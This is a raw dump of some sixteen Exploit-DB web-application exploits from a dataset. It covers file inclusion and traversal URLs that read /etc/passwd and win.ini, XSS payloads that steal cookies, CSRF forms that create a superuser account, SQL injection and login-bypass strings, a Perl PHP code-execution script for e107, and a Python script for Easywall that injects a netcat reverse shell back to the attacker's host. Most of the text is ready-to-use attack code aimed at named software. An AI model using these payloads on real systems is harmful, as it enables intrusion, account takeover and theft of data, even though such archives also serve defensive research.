deardaniel/secdata-raw huggingface dataset:
Exploit-DB #9722
Description: DDL CMS 1.0 - Multiple Remote File Inclusions
Type: webapps
Platform: multiple
Date: 2009-09-21
Author: HxH

Exploit:
+============================================================+
|                                                            |
| DDL CMS 1.0 Multiple Remote File Inclusion Vulnerabilities |
|                                                            |
+============================================================+
|                                                            |
| Author : HxH                                               |
|                                                            |
| E-Mail : HxH[at]live[dot]at                                |
|                                                            |
+------------------------------------------------------------+
|                                                            |
| Script : http://www.ddlcms.com/DDLCMS_v1.0.zip             |
|                                                            |
+------------------------------------------------------------+
|                                                            |
| Exploit :                                                  |
|                                                            |
| /header.php?wwwRoot=[Shell.txt?]                           |
|                                                            |
| /submit.php?wwwRoot=[Shell.txt?]                           |
|                                                            |
| /submitted.php?wwwRoot=[Shell.txt?]                        |
|                                                            |
| /autosubmitter/index.php?wwwRoot=[Shell.txt?]              |
|                                                            |
+============================================================+
|                                                            |
| Greetz : ~ JiKo ~ ThE X ~ TSH ~ All No-Exploit.com Members |
|                                                            |
+============================================================+

# milw0rm.com [2009-09-21]
Exploit-DB #46931
Description: Deltek Maconomy 2.2.5 - Local File Inclusion
Type: webapps
Platform: multiple
Date: 2019-05-27
Author: JameelNabbo

Exploit:
# Exploit Title: Maconomy Erp local file include
# Date: 22/05/2019
# Exploit Author: JameelNabbo
# Website: jameelnabbo.com
# Vendor Homepage: https://www.deltek.com
# Software Link: https://www.deltek.com/en-gb/products/project-erp/maconomy
# CVE: CVE-2019-12314
POC:

POC:
http://domain.com/cgi-bin/Maconomy/MaconomyWS.macx1.W_MCS//LFI
Example
http://domain.com/cgi-bin/Maconomy/MaconomyWS.macx1.W_MCS//etc/passwd
Exploit-DB #45007
Description: Dicoogle PACS 2.5.0 - Directory Traversal
Type: webapps
Platform: multiple
Date: 2018-07-11
Author: Carlos Avila

Exploit:
# Exploit Title: Dicoogle PACS 2.5.0 - Directory Traversal
# Date: 2018-05-25
# Software Link: http://www.dicoogle.com/home
# Version: Dicoogle PACS 2.5.0-20171229_1522
# Category: webapps
# Tested on: Windows 2012 R2
# Exploit Author: Carlos Avila
# Contact: http://twitter.com/badboy_nt

# 1. Description
# Dicoogle is an open source medical imaging repository with an extensible
# indexing system and distributed mechanisms. In version 2.5.0, it is vulnerable
# to local file inclusion. This allows an attacker to read arbitrary files that the
# web user has access to. Admin credentials aren't required. The ‘UID’ parameter
# via GET is vulnerable.

# 2. Proof of Concept

http://Target:8080/exportFile?UID=..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5cwin.ini
Exploit-DB #33759
Description: DirectAdmin 1.33.6 - 'CMD_DB_VIEW' Cross-Site Scripting
Type: webapps
Platform: multiple
Date: 2010-03-14
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/38721/info

DirectAdmin is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker can leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

DirectAdmin 1.351 and prior versions are affected. 

http://www.example.com:2222/CMD_DB_VIEW?DOMAIN=example.com&name=%22%3E%3Cscript%3Ealert%28111%29;%3C/script%3E
Exploit-DB #49752
Description: DMA Radius Manager 4.4.0 - Cross-Site Request Forgery (CSRF)
Type: webapps
Platform: multiple
Date: 2021-04-08
Author: Issac Briones

Exploit:
# Exploit Title: DMA Radius Manager 4.4.0 - Cross-Site Request Forgery (CSRF)
# Date: April 8, 2021 (04/08/2021)
# Exploit Author: Issac Briones
# Vendor Homepage: http://www.dmasoftlab.com/
# Software Download: https://sourceforge.net/projects/radiusmanager/
# Version: 4.4.0
# CVE: CVE-2021-30147

<html>
	<body>
		< ! -- Change IP addr to IP addr that RADIUS manager is located -- >
		<form action="http://192.168.1.2/admin.php?cont=store_user" method="POST">
			<input type="hidden" name="username" value="csrf_usr" />
			<input type="hidden" name="enableuser" value="1" />
			<input type="hidden" name="acctype" value="0" />
			<input type="hidden" name="password1" value="csrfusr" />
			<input type="hidden" name="password2" value="csrfusr" />
			<input type="hidden" name="maccm" value="" />
			<input type="hidden" name="mac" value="" />
			<input type="hidden" name="ipmodecpe" value="0" />
			<input type="hidden" name="simuse" value="1" />
			<input type="hidden" name="firstname" value="" />
			<input type="hidden" name="lastname" value="" />
			<input type="hidden" name="company" value="" />
			<input type="hidden" name="address" value="" />
			<input type="hidden" name="city" value="" />
			<input type="hidden" name="zip" value="" />
			<input type="hidden" name="country" value="" />
			<input type="hidden" name="state" value="" />
			<input type="hidden" name="phone" value="" />
			<input type="hidden" name="mobile" value="" />
			<input type="hidden" name="email" value="" />
			<input type="hidden" name="taxid" value="" />
			<input type="hidden" name="srvid" value="0" />
			<input type="hidden" name="downlimit" value="0" />
			<input type="hidden" name="uplimit" value="0" />
			<input type="hidden" name="comblimit" value="0" />
			<input type="hidden" name="expiration" value="2021-04-06" />
			<input type="hidden" name="uptimelimit" value="00:00:00" />
			<input type="hidden" name="credits" value="0.00" />
			<input type="hidden" name="contractid" value="" />
			<input type="hidden" name="contractvalid" value="" />
			<input type="hidden" name="gpslat" value="" />
			<input type="hidden" name="gpslong" value="" />
			<input type="hidden" name="comment" value="" />
			<input type="hidden" name="superuser" value="{SUPERUSER}" />
			<input type="hidden" name="lang" value="English" />
			<input type="hidden" name="groupid" value="1" />
			<input type="hidden" name="custattr" value="" />
			<input type="hidden" name="cnic" value="" />
			<input type="hidden" name="cnicfile1" value="(binary)" />
			<input type="hidden" name="cnicfile2" value="(binary)" />
			<input type="hidden" name="adduser" value="Add user" />
		</form>
	<script>
		document.forms[0].submit();
	</script>
	</body>

</html>
Exploit-DB #48681
Description: Docsify.js 4.11.4 - Reflective Cross-Site Scripting
Type: webapps
Platform: multiple
Date: 2020-07-22
Author: Amin Sharifi

Exploit:
# Exploit Title: Docsify.js 4.11.4 - Reflective Cross-Site Scripting
# Date: 2020-06-22
# Exploit Author: Amin Sharifi
# Vendor Homepage: https://docsify.js.org
# Software Link: https://github.com/docsifyjs/docsify
# Version: 4.11.4
# Tested on: Windows 10
# CVE : CVE-2020-7680


docsify.js uses fragment identifiers (parameters after # sign) to load
resources from server-side .md files. it then renders the .md file inside
the HTML page.

For example : https://docsify.js.org/#/quickstart sends an ajax to
https://docsify.js.org/quickstart.md and renders it inside the html page.

due to lack of validation it is possible to provide external URLs after the
/#/ and render arbitrary javascript/HTML inside the page which leads to
DOM-based Cross Site Scripting (XSS).


Steps to reproduce:

step 1. setup a server (for example I use flask here, for the POC im
hosting one on https://asharifi.pythonanywhere.com )

step 2. the server should respond to request to /README.md with a crafted
XSS payload. here is the payload "Html Injection and XSS PoC</p><img src=1
onerror=alert(1)><img src=1 onerror=alert(document.cookie)><p>"
also the CORS should be set so that other Origins would be able to send
ajax requests to the server so Access-Control-Allow-Origin must be set to *
(or to the specific domain that you wanna exploit) example code below:

-------------------------------------------------
from flask import Flask
import flask

app = Flask(__name__)


@app.route('/README.md')
def inject():
    resp = flask.Response("Html Injection and XSS PoC</p><img src=1
onerror=alert(1)><img src=1 onerror=alert(document.cookie)><p>")
    resp.headers['Access-Control-Allow-Origin'] = '*'
    return resp

------------------------------------------------------
step 3. craft the link for execution of the exploit
for example for https://docsify.js.org website you can create the link as
below

https://docsify.js.org/#//asharifi.pythonanywhere.com/README
(note that the mentioned domain is no longer vulnerable at the time writing
this report)

when a user visits this URL an ajax request will be sent to
asharifi.pythonanywhere.com/README.md and the response of the request will
be rendered inside the webpage which results in XSS payload being executed
on the page.


snyk advisory: https://snyk.io/vuln/SNYK-JS-DOCSIFY-567099
Mitre CVE entry:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-7680
Exploit-DB #33764
Description: Dojo Toolkit 1.4.1 - '/dijit/tests/_testCommon.js?theme' Cross-Site Scripting
Type: webapps
Platform: multiple
Date: 2010-03-15
Author: Adam Bixby

Exploit:
source: https://www.securityfocus.com/bid/38739/info

Dojo is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Versions prior to Dojo 1.4.2 are vulnerable. 

http://www.example.com/dijit/tests/form/test_Button.html?theme="/><script>alert(/xss/)</script>
Exploit-DB #33765
Description: Dojo Toolkit 1.4.1 - '/doh/runner.html' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: multiple
Date: 2010-03-15
Author: Adam Bixby

Exploit:
source: https://www.securityfocus.com/bid/38739/info
 
Dojo is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
Versions prior to Dojo 1.4.2 are vulnerable. 

http://www.example.com/util/doh/runner.html?dojoUrl=&#039;/>foo</script><&#039;"<script>alert(/xss/)</script>
Exploit-DB #49168
Description: DotCMS 20.11 - Stored Cross-Site Scripting
Type: webapps
Platform: multiple
Date: 2020-12-02
Author: Hardik Solanki

Exploit:
# Exploit Title: DotCMS 20.11 - Stored Cross-Site Scripting
# Exploit Author: Hardik Solanki
# Vendor Homepage: https://dotcms.com/
# Version: 20.11
# Tested on Windows 10

Vulnerable Parameters: Template Title

Steps to reproduce:
1. Login With Admin Username and password.
2. Navigate to Site --> Template --> Add Template Designer
2. Entre the payload <script>alert(document.cookie)</script> in Template
Title.
3. Now Navigate to Site --> Template. We could see that our payload gets
executed. And hence it executed every time.
Exploit-DB #51134
Description: Dreamer CMS v4.0.0 - SQL Injection
Type: webapps
Platform: multiple
Date: 2023-03-30
Author: lvren

Exploit:
# Exploit Title: Dreamer CMS v4.0.0 - SQL Injection
# Date: 2022/10/02 
# Exploit Author: lvren
# Vendor Homepage: http://cms.iteachyou.cc/
# Software Link: https://gitee.com/isoftforce/dreamer_cms/repository/archive/v4.0.0.zip 
# Version: v4.0.0 
# CVE: CVE-2022-43128

Proof Of Concept:

POST /admin/search/doSearch HTTP/1.1
Host: localhost:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 80
Origin: http://localhost:8888
Connection: close
Referer: http://localhost:8888/admin/search/doSearch
Cookie: dreamer-cms-s=6387e44f-e700-462d-bba5-d4e0ffff5739
Upgrade-Insecure-Requests: 1

entity[typeid']=1) AND (SELECT 2904 FROM (SELECT(SLEEP(5)))TdVL) AND (5386=5386



lvren
lvren@lvre.ntesmail.com

签名由 网易灵犀办公 定制
Exploit-DB #17606
Description: DZYGroup CMS Portal - Multiple SQL Injections
Type: webapps
Platform: multiple
Date: 2011-08-04
Author: Netrondoank

Exploit:
.__.__                .__                   __                 
|__|  |   _____  __ __|  |__ _____    ____ |  | __ ___________ 
|  |  |  /     \|  |  \  |  \\__  \ _/ ___\|  |/ // __ \_  __ \
|  |  |_|  Y Y  \  |  /   Y  \/ __ \\  \___|    <\  ___/|  | \/
|__|____/__|_|  /____/|___|  (____  /\___  >__|_ \\___  >__|   
              \/           \/     \/     \/     \/    \/        
                                                    .org
################################ Archieve an Resource About Hacking ###############
#################### ####################
#
# Exploit Title: DZYGroup Portal Remote Sql Injection Vulnerability
# Author: Netrondoank Aka netron
# home Page: http://www.ilmuhacker.org
# Forum : http://www.indotek.or.id
# Vendor or Software Link: http://www.dzygroup.com/portfolio.php
# Version: N/A
# Category:: webapps
# Google dork: "Powered by DZYGroup"
# Tested on: Linux Back Track 5

####################################################################
#  Proof Of Concept [POC]

http://site/[path]/newsDetail.asp?idNews=[Sqli]
http://site/[path]/articledetail.php?id=[Sqli]
http://site/[path]/prodetail.asp?Lang=EN&ID_Product=[Sqli]
http://site/[path]/subcategory.asp?Lang=EN&ID_Category=22&ID_SubCategory=[Sqli]
http://site/[path]/newsdetail.php?id=[Sqli]


#########################################################################################
#Greetz To:
Allah swt .free dom For Palestine .Indonesiansecurity.info, 1337day.com
packetstormsecurity.org, Exploit-id.com ,securityreason.com ,securityfocus.com
##########################################################################################
###############################  Archieve an Resource About Hacking--Ilmuhackerdotorg ####
Exploit-DB #12715
Description: e107 - Code Exection
Type: webapps
Platform: multiple
Date: 2010-05-24
Author: McFly

Exploit:
# Exploit Title: e107 Code Exec
# Date: 05/22/10
# Author: McFly@e107.org
# Software Link: http://e107.org/edownload.php
# Version: e107 <= 0.7.20
# Tested on: Linux/Windows

#!/usr/bin/perl -w
#################################################
# e107 Code Exec // SploitAuthor: McFly@e107.org
#################################################
# These scrubs still haven't released an update!
# Here is a little bit of motivation for them to
# patch one of the most popular, and insecure of
# the PHP web apps available today. 
#################################################
# DORK: inurl:e107_plugins
#################################################

use LWP::UserAgent;

my $path = $ARGV[0] or die("Usage: perl e107_phpbb.pl http://e107site/pathto/contact.php\n");
my $load = 'passthru(chr(105).chr(100))'; # Simple 'id' command. Put ur PHP payload here! :)

# Remove comment for proxy support
my $proxy = 'http://127.0.0.1:8118/';
$ENV{http_proxy} = $proxy ? $proxy: 0;

$ua = new LWP::UserAgent;
$ua->agent("Mozilla/5.0");

if ( $proxy )
{
	print "[*] Using proxy $proxy \n";
	$ua->env_proxy('1');
}

my $req = new HTTP::Request POST => $path;
   $req->content_type('application/x-www-form-urlencoded');
   $req->content("send-contactus=1&author_name=%5Bphp%5D$load%3Bdie%28%29%3B%5B%2Fphp%5D");

my $res = $ua->request($req); 
my $data = $res->as_string;

if ( $data =~ /<td class=["']main_section['"]>(.*)/ ) 
{
	$data = $1;
	print "$data\n";
}
else
{
	print "$data\n";
}
Exploit-DB #51856
Description: Easywall 0.3.1 - Authenticated Remote Command Execution
Type: webapps
Platform: multiple
Date: 2024-03-03
Author: Melvin Mejia

Exploit:
# Exploit Title: Easywall 0.3.1 - Authenticated Remote Command Execution
# Date: 30-11-2023
# Exploit Author: Melvin Mejia
# Vendor Homepage: https://jpylypiw.github.io/easywall/
# Software Link: https://github.com/jpylypiw/easywall
# Version: 0.3.1
# Tested on: Ubuntu 22.04

import requests, json, urllib3
urllib3.disable_warnings()

def exploit():
    
    # Replace values needed here
    target_host = "192.168.1.25"
    target_port= "12227"
    lhost = "192.168.1.10"
    lport = "9001"
    user = "admin"
    password = "admin"
    
    target = f"https://{target_host}:{target_port}"

    # Authenticate to the app
    print("[+] Attempting login with the provided credentials...")
    login_data = {"username":user, "password":password}
    session = requests.session()
    try:
        login = session.post(f'{target}/login',data=login_data,verify=False)
    except Exception as ex:
        print("[!] There was a problem connecting to the app, error:", ex)
        exit(1)

    if login.status_code != 200:
        print("[!] Login failed.")
        exit(1)
    else:
        print("[+] Login successfull.")    
    
    # Send the payload, the port parameter suffers from a command injection vulnerability
    print("[+] Attempting to send payload.")
    rev_shell = f'/usr/bin/nc {lhost} {lport} -e bash #'
    data = {"port":f"123;{rev_shell}", "description":"","tcpudp":"tcp"}
    send_payload = session.post(f"{target}/ports-save",data=data,verify=False)
    if send_payload.status_code != 200:
        print("[!] Failed to send payload.")
        exit(1)
    else:
        print("[+] Payload sent.")

    # Trigger the execution of the payload
    print("[+] Attempting execution.")
    data = {"step_1":"", "step_2":""}
    execute = session.post(f"{target}/apply-save",data=data, verify=False)
    if execute.status_code != 200:
        print("[!] Attempt to execute failed.")
        exit(1)
    else:
        print(f"[+] Execution succeded, you should have gotten a shell at {lhost}:{lport}.")

exploit()
Exploit-DB #14104
Description: Ecomat CMS - SQL Injection
Type: webapps
Platform: multiple
Date: 2010-06-29
Author: High-Tech Bridge SA

Exploit:
Vulnerability ID: HTB22390
Reference: http://www.htbridge.ch/advisory/sql_injection_vulnerability_in_ecomat_cms.html
Product: Ecomat CMS
Vendor: Codefabrik GmbH
Vulnerable Version: 5.0 and Probably Prior Versions
Vendor Notification: 18 May 2010 
Vulnerability Type: SQL Injection
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: High 
Credit: High-Tech Bridge SA (http://www.htbridge.ch/) 

Vulnerability Details:
The vulnerability exists due to failure in the "index.php" script to properly sanitize user-supplied input in "show" 
variable. Attacker can alter queries to the application SQL database, execute arbitrary queries to the database, 
compromise the application, access or modify sensitive data, or exploit various vulnerabilities in the underlying SQL 
database.

Attacker can use browser to exploit this vulnerability. The following PoC is available: 


http://host/index.php?type=web〈=de&show=-1+union+select+user%28%29+--+&mhs=0
Exploit-DB #49182
Description: EgavilanMedia Address Book 1.0 Exploit - SQLi Auth Bypass
Type: webapps
Platform: multiple
Date: 2020-12-03
Author: Mayur Parmar

Exploit:
# Exploit Title: EgavilanMedia Address Book 1.0 Exploit - SQLi Auth Bypass
# Date: 02-12-2020
# Exploit Author: Mayur Parmar(th3cyb3rc0p)
# Vendor Homepage: http://egavilanmedia.com
# Software Link : http://egavilanmedia.com/egm-address-book/
# Version: 1.0
# Tested on: PopOS

Attack Vector:
An attacker can gain admin panel access using malicious sql injection queries.

Steps to reproduce:
1. Open admin login page using following URl:
-> http://localhost/Address%20Book/login.php

2. Now put below Payload in both the fields( User ID & Password)
Payload: admin' or '1'='1

3. Server accepted our payload and we bypassed cpanel without any
credentials
Exploit-DB #49151
Description: EgavilanMedia User Registration & Login System with Admin Panel 1.0 - CSRF
Type: webapps
Platform: multiple
Date: 2020-12-02
Author: Hardik Solanki

Exploit:
# Exploit Title: EgavilanMedia User Registration & Login System with Admin Panel 1.0 - CSRF
# Date: 01-12-2020
# Exploit Author: Hardik Solanki
# Vendor Homepage: http://egavilanmedia.com
# Software Link: http://demo.egavilanmedia.com/User%20Registration%20and%20Login%20System%20With%20Admin%20Panel/profile.php
# Version: 1.0
# Tested on Windows 10

CSRF ATTACK:
Cross-site request forgery (also known as CSRF) is a web security
vulnerability that allows an attacker to induce users to perform actions
that they do not intend to perform. It allows an attacker to partly
circumvent the same-origin policy, which is designed to prevent different
websites from interfering with each other.

Attack Vector:
An attacker can update any user's account. (Note: FULL NAME field is also
vulnerable to stored XSS & attacker can steal the authenticated Session os
the user)

Steps to reproduce:
1. Open user login page using the following URL:
->
http://demo.egavilanmedia.com/User%20Registration%20and%20Login%20System%20With%20Admin%20Panel/login.html

2. Now login with the "attacker" user account & navigate to the edit
profile tab. Click on the "Update" button and intercept the request in web
proxy tool called "Burpusite"

3. Generate the CSRF POC from the burp tool. Copy the URL or Copy the below
code.

<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="
http://localhost/User%20Registration%20and%20Login%20System%20With%20Admin%20Panel/profile_action.php"
method="POST">
<input type="hidden" name="fullname" value="Attacker" />
<input type="hidden" name="username" value="hunterr" />
<input type="hidden" name="email"
value="noooobhunter&#64;gmail&#46;com" />
<input type="hidden" name="gender" value="Male" />
<input type="hidden" name="action" value="update&#95;user" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>

4. Now, login with the "Victim/Normal user" account. (Let that user is
currently authenticated in the browser).

5. Paste the URL in the browser, which is copied in step 3. OR submit the
CSRF POC code, which is shown in step 3.

6. We receive a "Status: Success", which indicates that the CSRF attack is
successfully done & the Attacker can takeover the user account via Stored
XSS (Steal the authenticated Cookies of the user from the "FULL NAME"
parameter)

IMPACT:
An attacker can takeover any user account. (Note: FULL NAME field is also
vulnerable to stored XSS & attacker can steal the authenticated Session os
the user)